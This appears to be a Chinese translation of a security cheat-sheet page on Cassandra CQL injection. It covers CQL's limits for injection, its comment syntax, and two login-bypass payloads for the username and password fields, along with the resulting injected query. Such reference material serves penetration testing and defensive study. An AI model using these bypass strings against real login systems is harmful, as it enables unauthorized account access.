跳转至

Cassandra 注入 (Cassandra Injection)

Apache Cassandra 是一款免费、开源的分布式宽列存储 NoSQL 数据库管理系统。

摘要 (Summary)

CQL 注入的局限性 (CQL Injection Limitations)

  • Cassandra 是一款非关系型数据库,因此 CQL 不支持 JOINUNION 语句,这使得跨表查询极具挑战。

  • 此外,Cassandra 缺乏像 DATABASE()USER() 这样用于获取数据库元数据的便捷内置函数。

  • 另一个局限性是 CQL 中缺失 OR 运算符,这阻止了创建恒真条件;例如,像 SELECT * FROM table WHERE col1='a' OR col2='b'; 这样的查询将被拒绝。

  • 基于时间的攻击通常依赖于 SLEEP() 函数产生延迟,由于 CQL 并不包含 SLEEP() 函数,因此在 CQL 中也很难执行此类攻击。

  • CQL 不支持子查询或其他嵌套语句,因此像 SELECT * FROM table WHERE column=(SELECT column FROM table LIMIT 1); 这样的查询将被拒绝。

Cassandra 注释 (Cassandra Comment)

/* Cassandra 注释 */

Cassandra 登录绕过 (Cassandra Login Bypass)

示例 #1

用户名: admin' ALLOW FILTERING; %00
密码: 任意

示例 #2

用户名: admin'/*
密码: */and pass>'

注入后的 SQL 查询如下所示:

SELECT * FROM users WHERE user = 'admin'/*' AND pass = '*/and pass>'' ALLOW FILTERING;

参考资料 (References)